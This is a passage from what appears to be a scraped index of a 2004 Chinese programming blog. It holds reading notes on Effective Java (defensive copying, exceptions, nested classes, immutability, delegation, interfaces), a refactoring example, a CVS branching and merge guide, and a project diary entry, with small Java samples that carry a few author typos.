Refactoring?\nRefactoring is the art of safely improving the design of existing code. [1]\n* 什么时候进行Refactoring?\n在TDD开发中，当我们的应用代码顺利通过测试集后，在保持应用代码对外行为（behavior）保持不变的前提下，对应用代码进行Refactoring。\n另外一种情况就是对测试集代码进行Refactoring。\n* Refactoring vs Pattern\n在[2]这本书中作者提到“我们应该把模式作为重构的目标，我们要渐进的引入模式”。原因是“有些人滥用模式，他们把任何一个需求都看成是模式的组合，他们一开始就用模式来进行设计，他们已经陷入到模式的滥用中”。\n* Refactoring流程\n在[1]中给出了一个程式化的refactoring流程：\nWhile smells remain:\n- Choose the worst smell.\n- Select a refactoring that will address the smell.\n- Apply the refactoring.\n注意：这里refactoring是个持续的过程，直到the code without smell\n* Refactoring实践\nRefactoring的例子很多，这里举一个常见的例子。\nConsidering the following code:\nclass Shape {\n//0 – Circle 1- Rectangle 2- Triangle\nprivate int type;\npublic String getType(){\nswitch(type){\ncase 0:\nreturn “Circle”;\ncase1:\nreturn “Rectangle”;\ncase2:\nreturn “Triangle”;\ndefault:\nreturn “Unknown”;\n}\n}\n}\n我们按照Refactoring的流程，首先要发现代码中的bad smell。\n- 使用switch结构限制了Shape类的扩展，一旦要加入新的Shape类型，getType函数就得修改。\n- 还有一点是Shape使用private member variable type来区分不同的Shape类型，这样是不合理的，我们完全可以用”Polymorphism”来代替。\n下面是重构后的代码：\npublic abstract class Shape{\npublic abstract String getType();\n}\npublic Circle extends Shape{\npublic String getType(){\nreturn “Circle”;\n}\n}\npublic Rectangle extends Shape{\npublic String getType(){\nreturn “Rectangle”;\n}\n}\npublic Circle extends Shape{\npublic String getType(){\nreturn “Circle”;\n}\n}\nOk, now the code above feels nice.^_^\n书还没看完，就先说到这了。\n参考资料：\n1、《Refactoring workbook》\n2、《Test-Driven Development – A practical guide》\n","permalink":"https://tonybai.com/2004/12/09/learn-refactoring/","summary":"\u003cp\u003eDMC采用驱动开发的方式，这就意味着重构“\u003ca href=\"http://en.wikipedia.org/wiki/Code_refactoring\"\u003eRefactoring\u003c/a\u003e”是我要学习的对象。早在大三的时候就已经把那本经典的“\u003ca href=\"http://book.douban.com/subject/1229923/\"\u003eRefactoring Improving the Design of Existing Code\u003c/a\u003e”英文版买到手了，但就是在买回来后的第n天，它就被“打入冷宫”了。\u003c/p\u003e\n\u003cp\u003e* What Is Refactoring?\u003cbr\u003e\nRefactoring is the art of safely improving the design of existing code. [1]\u003c/p\u003e","title":"学习重构"},{"content":"在effective java中有一item叫”保护性拷贝”，今天又看了许多部门里的代码，发现很多代码都与该item“相违”，晚上和toidi_xu讨论这个问题有些收获。\nConsidering the following code:\npublic class Box { private int length;\npublic void setLength(int length){\nthis.length = length;\n} public int getLength(){\nreturn this.length;\n}\n}\npublic class TestJava {\nprivate String id;\nprivate int idx;\nprivate Box box;\npublic void setId(String id){\nthis.id = id;\n}\npublic String getId(){\nreturn this.id;\n}\npublic void setIdx(int idx){\nthis.idx = idx;\n}\npublic int getIdx(){\nreturn this.idx;\n}\npublic void setBox(Box box){\nthis.box = box;\n}\npublic Box getBox(){\nreturn this.box;\n}\npublic static void main(String[] args) {\nTestJava tj = new TestJava();\nString id = \u0026ldquo;tony\u0026rdquo;;\nint idx = 5;\nBox aBox = new Box();\naBox.setLength(7);\ntj.setId(id);\ntj.setIdx(idx);\ntj.setBox(aBox);\nSystem.out.println(tj.getId());\nSystem.out.println(tj.getIdx());\nSystem.out.println(tj.getBox().getLength());\nid = \u0026ldquo;bai\u0026rdquo;;\nidx = 6;\naBox.setLength(8);\nSystem.out.println(tj.getId());\nSystem.out.println(tj.getIdx());\nSystem.out.println(tj.getBox().getLength());\n}\n}\n//output:\ntony\n5\n7\ntony\n5\n8\n对于TestJava类中的3个类型(String, int, Box)的成员变量我们编写了相同的setter和getter,但结果是Box类型的成员变量居然不通过setBox就被修改了，而String和int类型在外部不能被修改。这是为什么呢。在effective java中曾经说过String类和Number类都是immutable的。任何对String or Number类对象的操作都会copy出一个不同于原object的object,而原来的object的状态并未被修改。在上面的例子中Box不是immutable class所以被外部修改了。\n为了使client只能通过Box提供的setLength来修改，我们必须作保护性的copy。修改如下：\npublic void setBox(Box box){\nthis.box = new Box();\nthis.box.setLength(box.getLength());\n}\npublic Box getBox(){\nBox aBox = new Box();\naBox.setLength(this.box.getLength());\nreturn aBox;\n}\n修改后的output:\ntony\n5\n7\ntony\n5\n7\n这样我们在TestJava中就出现两种setter和getter的样式，我们在写代码的时候该使用哪种呢？在实践中“为类中immutable class类型（如String和数值Number类）的field member写setter\\getter时，我们不需要提供defensive copy;在为其它非immutable class类型(如上例中的Box类)的field member写setter\\getter时，建议考虑defensive copy，以防止client对你的代码的恶意破坏”。所以上面的代码还有另一种改法就是将Box写成immutable class。\n这篇blog就当作是对effective java中“defensive copy”一节的细化和补充吧。\n","permalink":"https://tonybai.com/2004/12/08/how-implement-setter-and-getter/","summary":"\u003cp\u003e在effective java中有一item叫”保护性拷贝”，今天又看了许多部门里的代码，发现很多代码都与该item“相违”，晚上和toidi_xu讨论这个问题有些收获。\u003c/p\u003e","title":"如何编写类中的setter和getter"},{"content":"上周的主要工作是和toidi_xu共同完成“把xml文件解析到java内存对象”的工作，但是一周下来发现我们的工作完成的并不好。\n这周的前3天我一直在学习effective java，由于有java基础所以看起来也不是很费劲，自己也写了些小例子，之后由于周末要讨论tdd和junit所以我又花了近一天的时间来熟悉相关的资料。真正开始进入开发阶段是在周五的时候，我研究了一下dreamhead已经写的dominoo代码，初步制定了我的工作计划：\n- 制定xml描述文件\n- 编写相关entity class\n- 编写digester parse rules\n突然想起昨天看到江西台的一个人物节目，主人公是刚刚获得“中国十大杰出青年”奖章的602所（中国直升机研究所）的总设计师，当记者问到“你觉得你这些年付出这么多值么”，令我惊讶的是这位总师的回答竟然是“我没有付出亚，谁说我付出很多了”，他进一步解释道“我的工作已经是我工作的一部分了，工作给我带来无穷无尽的生活乐趣，所以我不觉得我付出，我是在实实在在的享受着生活的乐趣”。想想我今天的工作，这位总师的心声也恰恰是我们程序员的心声，编码会给我们带来无穷无尽的乐趣，编码已经成为我们生活的一部分。跑题了^_^\nToidi_xu上周并未介入到代码实现中，这也是我们进度缓慢的一个原因。说一说我在开发过程中遇到的问题吧。\n- 我们软件的内部处理流程是“model”—[1]—\u0026gt; ”xml文件”—[2]—-\u0026gt;“java内存模型”，在model和java内存模型中都存在着对entity（如class , package , interface等）的描述，我们需不需要作得通用一些，这样复用一个entity包即可。\n- 对nested class和nested interface的描述一直困扰着我\n- 还有如何描述和处理enum的问题\n- 如何描述field在类内部的initializer问题\n- 普通method和constructor如何区分描述的问题\n- 最大的困惑就是如何对泛型entity进行描述，如模板类，不光是类本身，该模板类的method也涉及到参数类型为类的参数的问题，如下面代码：\npublic class Box {\nprotected List contents;\npublic Box( ) {\ncontents = new ArrayList( );\n}\npublic void add(T o) {\ncontents.add(o);\n}\npublic T grab( ) {\nif (!isEmpty( )) {\nreturn contents.remove(0);\n} else\nreturn null;\n}\n}\n如何保持对class描述和method描述的一致性问题和处理的一致性问题？ 这些问题都要这周我们共同讨论来解决，我打算先拿出个解决方案。\n","permalink":"https://tonybai.com/2004/12/06/dominoo-notes-part3/","summary":"\u003cp\u003e上周的主要工作是和toidi_xu共同完成“把xml文件解析到java内存对象”的工作，但是一周下来发现我们的工作完成的并不好。\u003c/p\u003e\n\u003cp\u003e这周的前3天我一直在学习effective java，由于有java基础所以看起来也不是很费劲，自己也写了些小例子，之后由于周末要讨论tdd和junit所以我又花了近一天的时间来熟悉相关的资料。真正开始进入开发阶段是在周五的时候，我研究了一下dreamhead已经写的dominoo代码，初步制定了我的工作计划：\u003c/p\u003e","title":"Dominoo项目日记(三)"},{"content":"Dreamhead把他用大把银子买来的“Effective Java”借给我阅读，我真是很感动亚，我只能用行动来感谢Dreamhead了。^_^\n39、只针对不正常的条件才使用异常\n异常只应该被用于不正常的条件，它们永远不应该被用于正常的控制流。\n40、对于可恢复的（recoverable conditions）使用被检查异常（checked exceptions）,对于程序错误(error)使用执行期异常（runtime exceptions）\nJava中大致分为两种不正常状态：checked exception（被检查异常） and error（错误，一般抛出的runtime-exception也都是error的表现，所以我把runtime exceptions也划归为error）。\n- 如果期望调用者能够恢复，那么对于这样的条件应该使用被检查的异常。\n- 用运行时异常来指明程序错误。\n大多数运行时异常都是表明API的客户没有遵守API规范建立的约定。建议你所实现的所有的unchecked exceptions都应该是RuntimeException的子类（直接或间接的）。\n42、尽量使用标准的异常\nJava平台库提供了一组基本的unchecked exceptions,它们覆盖了绝大多数的API抛出异常的需要。\n常用的异常复习：\nIllegalArgumentException 在参数的值不合适时抛出。\nIllegalStateException 对于这个方法而言，对象状态不合适。\nNullPointerException 参数值为null\nIndexOutOfBoundsException 下标越界\nUnsupportedOperationException 对象不支持用户要求的方法。\nCocurrentModificationException 在禁止并发修改时，对象检测到并发修改\n46、努力保持 failure atomicity (失败之原子性)\n解释一下失败原子性的概念：即一个失败的方法调用应该使对象保持“它在被调用之前的状态”。这样的方法被称为具有“失败原子性”的方法。\n使用“不可变”对象是获取“失败原子性”的最常见的办法。\n47、不要忽略异常\n忽略一个异常方法很简单：\ntry{\n//….\n}catch(SomeException e){\n//empty block\n}\n空的catch块儿会使异常达不到应有的目的。至少在catch block中应该包含一条说明，用来解释为什么忽略掉这个异常是合适的。\n","permalink":"https://tonybai.com/2004/12/03/effective-java-notes-item-exception/","summary":"\u003cp\u003eDreamhead把他用大把银子买来的“Effective Java”借给我阅读，我真是很感动亚，我只能用行动来感谢Dreamhead了。^_^\u003c/p\u003e","title":"Effective Java阅读笔记-item异常"},{"content":"做了几个月的实际项目，感觉还是只用到CVS的皮毛，CVS中的高级功能比如create tag、create branch和merge等都未使用过。Dreamhead发过来一本”pragmatic version control-using CVS”，顺便do some practice and research on the advanced functions of CVS。\n1、Tags、Branches and Tagging的概念理解\nTags分为Regular tag和Branch tag两种。\nRegular tag其实就是我们一般理解中的tag,而Branch tag即是我们理解中的branch。\nHEAD也是一个特殊的分支,the main branch，只是我们把它默认当作main trunk。\n建立分支的必要性，举个简单的例子当我们的项目对外release1.0版本后，比如我们对整个project建立version为“Release_1_0”，但是这个版本肯定有bug存在，我们就这样提交给用户使用，相信不会等多久bug report就会feedback回来。所以我们得一边做下一个版本Release_2_0的开发一边fix bug，而我们fix bug时基于的版本只能使release1.0，这时我们就要考虑难道新版本的开发和fix bug的工作都要在main trunk 上么，这样可行么？回答是“也许可行，但是不用过多久你就会发现这样会造成太多的冲突，开发人员的抱怨声也越来越多”。Branch可以帮助我们解决这个难题。我们在建立version Release_1_0的同时建立一个branch,比如叫做“Release_1_0_Branch”,并同时建立一个regular tag ”Root_of_Releas_1_0_Branch”，这个regular tag的用途是为了以后branch 合并到main trunk时提供一个参考点。之后开发新版本的人员就基于main trunk工作，而fix bug的人员就基于Release_1_0_Branch工作。一旦在Release_1_0_Branch上将Release_1_0的bug修复了，我们就可以将Release_1_0_Branch合并到main trunk中来一次性remove the bugs。上面举的这个例子只是branch较简单的一个用法。有效的利用branch会给你的项目的开发带来很多便捷的。\n下面的英文段落是从某书中摘录的关于version和branch的说明。\nYou can use CVS to maintain different branches of a project. Doing so is often\nnecessary if you release a version of your project to the public, such as version 1.0.\nAs you begin to work on adding new features for version 2.0, the code is not stable\nenough for release; so, if any serious bugs are discovered in version 1.0, they must\nbe made to the original 1.0 code. CVS allows you to create a separate branch,\nstarting with the original 1.0 code, so you can maintain this code separately from\nthe new development continuing with the main branch, HEAD.\n//…\nVersions differ from branches. A version is a snapshot of a branch at a given\npoint in time—in other words, it’s a particular set of file revisions.\n//….\nAdding a version label to a project associates the revision number of each particular\nfile with a single project-level label.You should consider tagging a project with a version label at all significant development milestones, such as a beta or an official release, or before any drastic\nchange is undertaken.\n2、Merge\n理解了branch的概念后，那我们如何将一个Branch合并（Merge）到main trunk or another branch呢?下面我们使用Eclipse作为工具来说明如何将branch合并到其他branch中（main trunk is also a branch , a special branch）。\n在你在CVS中创建branch后一段时间，你可能要将你在branch中的changes合并到其他branch中。要想将你的branch中的changes合并到其他branch中，你首先要知道“the name of your branch”and “the version from which your branch was created”。\n知道上面的两样后，我们就可以实施我们的merge了。我们以branch merge到HEAD为例。具体步骤如下：\n* 目标version加载\n首先将目标version 加载到你的工作区，在这个例子里我们将HEAD version加载进来，具体方法是在你工作区（可能是“Navigator view”）中，Right click your project name, choose Replace With \u0026gt; Another Branch or Version from the context menu. Then select the HEAD to replace with your current version in your workplace。\n* 选择branch\nSelect the project and choose Team \u0026gt; Merge.\n在随后出现的对话框中，你首先选择“the version from which the branch was created.”，然后在下一步中选择你的Branch。\n* Synchronize view中的操作\n在第二步结束后，Synchronize view中将显示“all the differences between the branch and your workspace version(that is the HEAD version)”,你必须在Synchronize view中通过菜单中提供的“Update, Override and Update, or Mark as Merged”手工决定合并到你工作区的change。\n* Commit the changes\n在所有期望的changes都被merge到你的工作区后，你就可以“commit”the changes to the repository了。\n注：Merge actions：\nUpdate – Running this action will bring the changes into the file in the workspace. Any conflicts that are not auto-mergable will be skipped.\nOverride and Update – This action is enabled on files with conflicting changes. Running this action will discard any local changes you have and replace the file with the remote contents.\nMark as Merged – This action will remove the selected changes from the view. The changes will only reappear if the remote state of the resource changes and the CVS Merge Synchronization is refreshed.\n","permalink":"https://tonybai.com/2004/12/02/advanced-cvs/","summary":"\u003cp\u003e做了几个月的实际项目，感觉还是只用到CVS的皮毛，CVS中的高级功能比如create tag、create branch和merge等都未使用过。Dreamhead发过来一本”pragmatic version control-using CVS”，顺便do some practice and research on the advanced functions of CVS。\u003c/p\u003e","title":"Advanced CVS"},{"content":"Dreamhead把他用大把银子买来的“Effective Java”借给我阅读，我真是很感动亚，我只能用行动来感谢Dreamhead了。^_^\n18、优先考虑静态成员类（static member class）\n在C++的应用中我们很少使用嵌套类，我只在MFC和COM组件中遇到过这些，而且这些嵌套类被隐藏在应用背后，一般的应用中则很少使用。而在Java中嵌套类的应用还是要比在C++中多些。Java中嵌套类主要之功用就是辅助其outer class,为outer class提供服务。\n嵌套类分类：\n- static member class:\n- nonstatic member class:\n- anonymous class:\n- local class\n按照书中的方式我们根据各种类型嵌套类的用途来说：\n* static member class\n基本格式：\npublic class OuterClass{\npublc/private static class InnerClass{\n//…\n}\n}\n对于static型的member class:\n多个outer class instance共享一个static member class，就是说static member class和outer类的一般静态成员地位是一样的, static member class可以访问outer class的所有成员，包括private的成员。\n书中的例子：(两层嵌套，既使用了static member class又使用了anonymous classes)\n//Calculator.java\npublic class Calculator {\npublic static abstract class Operation {\nprivate final String name;\nOperation(String name) { this.name = name; }\npublic String toString() { return this.name; }\n// Perform arithmetic op represented by this constant\nabstract double eval(double x, double y); // Doubly nested anonymous classes\npublic static final Operation PLUS = new Operation(\u0026quot;+\u0026quot;) {\ndouble eval(double x, double y) { return x + y; }\n}; }\n// Return the results of the specified calculation\npublic double calculate(double x, Operation op, double y) {\nreturn op.eval(x, y);\n}\n}\n//CalcTest.java\npublic class CalcTest {\npublic static void main(String args[]) {\ndouble x = Double.parseDouble(args[0]);\ndouble y = Double.parseDouble(args[1]);\noperate(x, Calculator.Operation.PLUS, y);\n}\nstatic void operate(double x, Calculator.Operation op, double y) {\nCalculator c = new Calculator();\nSystem.out.println(x + \u0026quot; \u0026quot; + op + \u0026quot; \u0026quot; + y + \u0026quot; = \u0026quot; +\nc.calculate(x, op, y));\n}\n}\n//command: java CalcTest 3 4\n//output: 3.0 + 4.0 = 7.0\n* nonstatic member class\n基本格式：\npublic class OuterClass{\npublc/private class InnerClass{\n//…\n}\n}\n对于non-static型的member class：\n每个outer class instance都要维护一个member class的实例，且这种关系在outer class被实例化后就不变了。nonstatic member class的实例是在其outer class实例化时才有意义的。\n所以当嵌套类的实例可以不依赖于其outer class的实例而存在时。我们应该使用static member class。\nnonstatic member classes 常被用來定义 Adapter ，允许我们将outer class的实例视为某些不相关的类的实例。\n例如：像Set和List这样的集合接口的实现往往利用nonstatic member class来实现iterator\n书中例子:\npublic MySet extends AbstractSet{\n//…\nprivate class MyIterator implements Iterator{//inner class or nested class\n}\npublic Iterator iterator(){\nreturn new MyIterator();\n}\n}\n* anonymous classes(匿名类)\n匿名类不是outer class的一个成员，它在使用处被同时声明和实例化。匿名类通常只是实现了其接口或超类中的方法。它们不会声明新方法。\n匿名类的用途很广泛。\n- 用来创建一个function object\n如代码：\nCollections.sort(list, new Comparator() {\npublic int compare(Object o1, Object o2) {\nreturn ((String)o1).length() – ((String)o2).length();\n}\n}\n);\n像这样的匿名类可读性差，建议不要把匿名类写的很长。\n这里我们假设匿名类的名字为$,这实际上的代码可能是像这样的：\nclass $ implements Comparator{\npublic int compare(…){\n//implement the compare method\n}\n}\nCollections.sort(list, new $());\n- 创建process object，例如 Thread、Runnable 实例\n- 给 static factory 方法使用，可以在 static factory method 返回一份 anonymous 的实例\n* local class(局部类)\n使用local class把握一个原则：local class与局部变量的使用（包括声明和scope）几乎一模一样。\n","permalink":"https://tonybai.com/2004/11/30/effective-java-notes-item18/","summary":"\u003cp\u003eDreamhead把他用大把银子买来的“Effective Java”借给我阅读，我真是很感动亚，我只能用行动来感谢Dreamhead了。^_^\u003c/p\u003e","title":"Effective Java阅读笔记-item18"},{"content":"Dreamhead把他用大把银子买来的“Effective Java”借给我阅读，我真是很感动亚，我只能用行动来感谢Dreamhead了。^_^\n24、需要时使用保护性拷贝\n在学习这个item之前我们看看下面这段“危险的”代码（改编自书中例子）：\nConsidering the following code:\n//Period.java\nimport java.util.Date;\npublic final class Period {\nprivate final Date start;\nprivate final Date end;\npublic Period(Date start , Date end){\n//do some checking , end should be later than start\nthis.start = start;\nthis.end = end;\n}\npublic Date start(){\nreturn this.start;\n}\npublic Date end(){\nreturn this.end;\n}\n//remainder omitted…\npublic static void main(String[] args) {\nDate start = new Date(2004 , 11 , 28);\nDate end = new Date(2004 , 11 , 30);\nPeriod p = new Period(start , end);\nSystem.out.println(\u0026ldquo;Normal period:\u0026rdquo;);\nSystem.out.println(p.start());\nSystem.out.println(p.end());\n//danger code part1\nSystem.out.println(\u0026ldquo;Unnormal period part1:\u0026rdquo;);\nend.setMonth(4);\nSystem.out.println(p.start());\nSystem.out.println(p.end());\n//danger code part2\nSystem.out.println(\u0026ldquo;Unnormal period part2:\u0026rdquo;);\np.end().setMonth(5);\nSystem.out.println(p.start());\nSystem.out.println(p.end());\n}\n}\n//output:\nNormal period:\nWed Dec 28 00:00:00 CST 3904\nFri Dec 30 00:00:00 CST 3904\nUnnormal period part1:\nWed Dec 28 00:00:00 CST 3904\nMon May 30 00:00:00 CST 3904\nUnnormal period part2:\nWed Dec 28 00:00:00 CST 3904\nThu Jun 30 00:00:00 CST 3904\nPeriod类声称提供一段不可改变的时间段，不过从上面的输出结果来看我们可以轻易的修改这个时间段。为了使上面的Period类真正成为非可变类，我们需要进行“defensive copy”。\nDanger code part1提示我们“对构造函数的每个可变参数进行保护性拷贝”；\nDanger code part2提示我们“对类中public方法返回的可变内部域进行保护性拷贝”；\n修改如下：\npublic Period(Date start , Date end){\n//do some checking , end should be later than start\nthis.start =new Date( start.getTime());\nthis.end = new Date(end.getTime());\n}\npublic Date start(){\nreturn (Date)this.start.clone();\n}\npublic Date end(){\nreturn (Date)this.end.clone();\n}\n修改后再运行，结果如下：\nOutput:\nWed Dec 28 00:00:00 CST 3904\nFri Dec 30 00:00:00 CST 3904\nUnnormal period part1:\nWed Dec 28 00:00:00 CST 3904\nFri Dec 30 00:00:00 CST 3904\nUnnormal period part2:\nWed Dec 28 00:00:00 CST 3904\nFri Dec 30 00:00:00 CST 3904\n切记：在把类的内部组件的引用返回给客户之前，你应该返回一个保护性拷贝，如内部数组。\n还有一点就是如果有可能你尽量使用immutable object作为你的内部组件，这样你就可以不必关心“defensive copy”的问题了。\n25、小心设计方法的原型\n在这个item中记住几个原则即可（这几个原则对我这个菜鸟来说用处还是蛮大的）：\n- 小心选择方法名字（可参考那本java developers almanac的索引来看看java中方法都是如何命名的）\n- 对于参数类型，优先选用接口而不是类\n- 小心使用function object , 原因不是主流的代码风格，难于理解。\n34、通过接口引用对象\nItem25中提到了“对于参数类型，优先选用接口”，更一般的讲我们应该用接口来引用对象。\n书中的例子：\nList subscribers = new Vector(); //good – use interface as type!\nVector subscribers = new Vector(); //bad-use class as type!\n如果没有合适的接口，使用类来引用对象也是完全适合的。\n其中有一种情况是当我们没有合适的接口时，我们尽量使用基类（往往是abstract class）来引用实现类（子类）的对象。\n","permalink":"https://tonybai.com/2004/11/30/effective-java-notes-item24-item25-item34/","summary":"\u003cp\u003eDreamhead把他用大把银子买来的“Effective Java”借给我阅读，我真是很感动亚，我只能用行动来感谢Dreamhead了。^_^\u003c/p\u003e","title":"Effective Java阅读笔记-item24、25、34"},{"content":"Dreamhead把他用大把银子买来的“Effective Java”借给我阅读，我真是很感动亚，我只能用行动来感谢Dreamhead了。^_^\n13、支持不变性（immutable）\n我感觉我们只需记住书中列出的几条规则：\n1. 不要提供任何\u0026quot;可修改对象內容\u0026quot;的方法\n2. 保证没有可被子类override的方法\n3. 令所有field为 final\n4. 令所有field都是 private\n5. 保证对任何可变组件的互斥存取\nImmutable object优点：\n- Immutable object本质上是线程安全的，不需要同步\n- Immutable object可以被自由的share\n- Immutable object对于其他对象来说，形成了很多构件\n缺点：对于每一个不同的值，都要形成一个独立的object\n如：\nString newStr = “AB”+”CD”;\n这样可能会带来的是效率问题。\n14、复合(composition)优先于继承（extends not implements）\n在本Item中，作者针对安全继承提出几个观点：\n- 包内继承很safe，因为super class和sub class都在一个Programmer的control下。\n- 继承自专门为继承而设计并有很好的文档的类也很安全。\n相反越界继承就是不安全的。\n关于继承的几个观点：\n- 继承打破的封装性；\n- 当subclass确实是superclass的子类型的时候，也就是确实是“is a”的关系时才使用继承。\n继承将会传播 superclass API 的所有缺陷，而复合允许你设计新的 API，隐藏 superclass 的缺陷。\n书里还提到了composition vs delegete的概念，以前我对delegate的概念也不是很清楚，这次正好顺便好好分析一下：\n以书中的代码为例：\npublic class InstrumentedSet implements Set {\nprivate int addCount = 0;\n… …\npublic InstrumentedSet(Set s) {\nthis.s = s;\n}\n}\n针对这段代码作者观点：“有时，复合（composition）和转发（forwarding）这两项技术的结合被错误地引用为“委托(delegation)” 从技术的角度而言，这不是委托（delegation），除非包装对象把自己（InstrumentedSet）传递给一个被包装的对象（Set）”\n关于delegate:GOF那本书中如是说“Delegation is a way of making composition as powerful for reuse as inheritance [Lie86, JZ91]. In delegation, two objects are involved in handling a request: a receiving object delegates operations to its delegate. This is analogous to subclasses deferring requests to parent classes. But with inheritance, an inherited operation can always refer to the receiving object through the this member variable in C++ and self in Smalltalk. To achieve the same effect with delegation, the receiver passes itself to the delegate to let the delegated operation refer to the receiver 。\nThe main advantage of delegation is that it makes it easy to compose behaviors at run-time and to change the way they\u0026rsquo;re composed”。\n下面的代码改自某论坛上一个网友的代码，我自己觉得这段代码对于正确理解delegate很有帮助。\nConsidering the following code:\n//MyDelegatee.java\npublic class MyDelegatee {\nvoid methodB() {\n}\n}\n//MyDelegate.java\npublic class MyDelegate {\nMyDelegatee delegatee;\nvoid methodA() {\ndelegatee.methodB();\n}\n}\n上面的代码就不是delegate，而是composition和forwarding，因为MyDelegate直接调用了MyDelegatee object的方法,这只是forwarding methods。\n//MyDelegatee.java\npublic class MyDelegatee {\nvoid methodB(MyDelegate delegate) {\ndelegate.do();\n}\n}\n//MyDelegate.java\npublic class MyDelegate {\nMyDelegatee delegatee;\nvoid methodA() {\ndelegatee.methodB(this);\n}\nvoid do(){\n}\n}\nMyDelegate已经把自身pass给了MyDelegatee,并且MyDelegatee调用了MyDelegate的方法，这是一种indirection。也就是说delegatee一定会调用delegate的某些方法，因此你首先得把delegate传递给delegatee。\n我们在举个实际一点的例子，董事长和总经理的故事：\nConsidering the following code:\n//Chairman.java\npublic class Chairman {\nprivate GeneralManager gm = new GeneralManager();\npublic void doThroughGM(){\ngm.investmentDecisionMaking(this);\n}\n//董事长拥有的权利\npublic void investmentDecisionMaking(){\n/*\n*董事长具有战略投资决策权，\n*董事长可将此权利授权给总经理\n*/\nSystem.out.println(\u0026ldquo;总经理被授权执行投资决策\u0026rdquo;);\n}\npublic static void main(String[] args) {\nChairman chairman = new Chairman();\nchairman.doThroughGM();\n}\n}\n//GeneralManager.java\npublic class GeneralManager {\npublic void investmentDecisionMaking(Chairman chairman){\n//总经理被授权获得的权利\nchairman.investmentDecisionMaking();\n} }\n//output:\n总经理被授权执行投资决策\n上面的例子模仿了一个现实世界的过程，在现实世界中，假如董事长把权利授权给总经理，总经理一定会获取董事长才拥有的权利，它会利用这些权利来替公司做事。\n举了这些例子后对delegate有些概念了吧^_^。\n参考资料：\n1、http://www.javaworld.com/javaworld/javaqa/2001-09/01-qa-0914-delegate.html\n2、http://forum.javaeye.com/viewtopic.php?t=6120\n","permalink":"https://tonybai.com/2004/11/29/effective-java-notes-item13-and-item14/","summary":"\u003cp\u003eDreamhead把他用大把银子买来的“Effective Java”借给我阅读，我真是很感动亚，我只能用行动来感谢Dreamhead了。^_^\u003c/p\u003e","title":"Effective Java阅读笔记-item13、14"},{"content":"Dreamhead把他用大把银子买来的“Effective Java”借给我阅读，我真是很感动亚，我只能用行动来感谢Dreamhead了。^_^\n16、接口优于抽象类\n作者有一个观点就是:\n* 接口是定义mixin(混合类型)的理想选择。\nmixin的定义：一个类除了实现它的基本类型”primitive type”之外，还可以实现这个mixin类型，以表明它提供可供选择的行为，也就是说它允许将可选的功能混合到一个类的基本功能中。\n作者举例Comparable就是一个mixin接口，这个接口提供的可选功能就是它的实例可以与其他的可相互比较的对象进行排序操作。\n基于上面这一点，接口使得我们能够构造出非层次结构的类型框架。\n什么是层次结构框架（class hierarchy）?\n例如：Shape \u0026lt;– Rectangle \u0026lt;– Square这样一路继承下来，就是一个继承体系。\n现在如果Shape假设并没有提供可比较的基本功能，而我们要在Square中实现可比较的功能，我们就可以在Square那加入一个旁支Comparable接口，让Square去实现它即可。\nShape \u0026lt;– Rectangle \u0026lt;– Square \u0026lt;– Square’s sub class\n|\nComparable \u0026lt;—–\n上面蓝色部分就是一个class hierarchy,而Comparble恰恰就在这个class hierarchy上建立了一个非层次化的结构。\n注：abstract class不能用来定义mixin，因为java不提供class的多重继承机制。\n* abstract skeletal implementation class（抽象骨架实现类型）–结合抽象类和接口的优点，java中模拟多重继承\nInterface缺点是无法拥有方法的实现。而抽象骨架实现的优点在于为抽象类提供实现上的帮助，也避免了抽象类作为类型定义时所特有的限制。\npublic abstract class AbstractMapEntry implements Map.Entry {\n// Primitives\npublic abstract Object getKey();\npublic abstract Object getValue();\n// …\n// Implements the general contract of Map.Entry.equals\npublic boolean equals(Object o) {\nif (o == this) return true;\nif (!o instanceOf Map.Entry))\nreturn false;\nMap.Entry arg = (Map.Entry) o;\nreturn eq(getKey(), arg.getKey()) \u0026amp;\u0026amp;\neq(getValue(), arg.getValue());\n}\n// Since Object equals was overriden, we better override hashCode!\npublic int hashCode() {\nreturn\n(getKey() == null ? 0: getKey().hashCode()) ^\n(getValue() == null ? 0: getValue().hashCode());\n}\n}\n书中提示：抽象骨架类专为继承而设计，所以要有详细的文档说明。\n*抽象类的演化比接口的演化容易\n我们举例说明这一点吧\nConsidering the following code:\n//未演化前的代码：\npublic abstract class AbrBase{\npublic void a();\npublic void b();\n};\npublic class Sub1 extends AbrBase{\npublic void a(){\n}\npublic void b(){\n}\n};\npublic interface IBase{\npublic void c();\npublic void d();\n};\npublic class Sub2 implements IBase{\npublic void c(){\n}\npublic void d(){\n}\n};\n//进化后代码\npublic abstract class AbrBase{\npublic void a();\npublic void b();\npublic void e() {//为抽象类添加一新的具体的方法，注意抽象方法也不行\n}\n};\npublic class Sub1 extends AbrBase{//在抽象类添加一具体方法后，子类可以不用改动\npublic void a(){\n}\npublic void b(){\n}\n};\npublic interface IBase{\npublic void c();\npublic void d();\npublic void f(); //为接口添加一新的方法\n};\npublic class Sub2 implements IBase{\npublic void c(){\n}\npublic void d(){\n}\npublic void f(){ //子类必须修改实现新添加的方法，否则编译将不能通过\n}\n};\n解决办法：提供抽象骨架类\n//进化之前代码\npublic interface IBase{\npublic void c();\npublic void d();\n};\npublic abstract class AbrBase implements IBase{\n//primitives\npublic void a();\npublic void b();\n//implenments the method of IBase interface\npublic void c(){\n}\npublic void d(){\n}\n};\npublic class Sub extends AbrBase{\npublic void a(){\n}\npublic void b(){\n}\n//继承AbrBase对IBase的实现\n};\n进化后代码：\npublic interface IBase{\npublic void c();\npublic void d();\npublic void f(); //为接口添加一新的方法\n};\npublic abstract class AbrBase implements IBase{\n//primitives\npublic void a();\npublic void b();\n//implenments the method of IBase interface\npublic void c(){\n}\npublic void d(){\n}\npublic void f(){ //修改AbrBase以实现IBase新增加的method\n}\n};\npublic class Sub extends AbrBase{//无需改变，继承超类对f()方法的实现\npublic void a(){\n}\npublic void b(){\n}\n//继承AbrBase对IBase的实现\n};\nThat’s all!^_^\n","permalink":"https://tonybai.com/2004/11/29/effective-java-notes-item16/","summary":"\u003cp\u003eDreamhead把他用大把银子买来的“Effective Java”借给我阅读，我真是很感动亚，我只能用行动来感谢Dreamhead了。^_^\u003c/p\u003e","title":"Effective 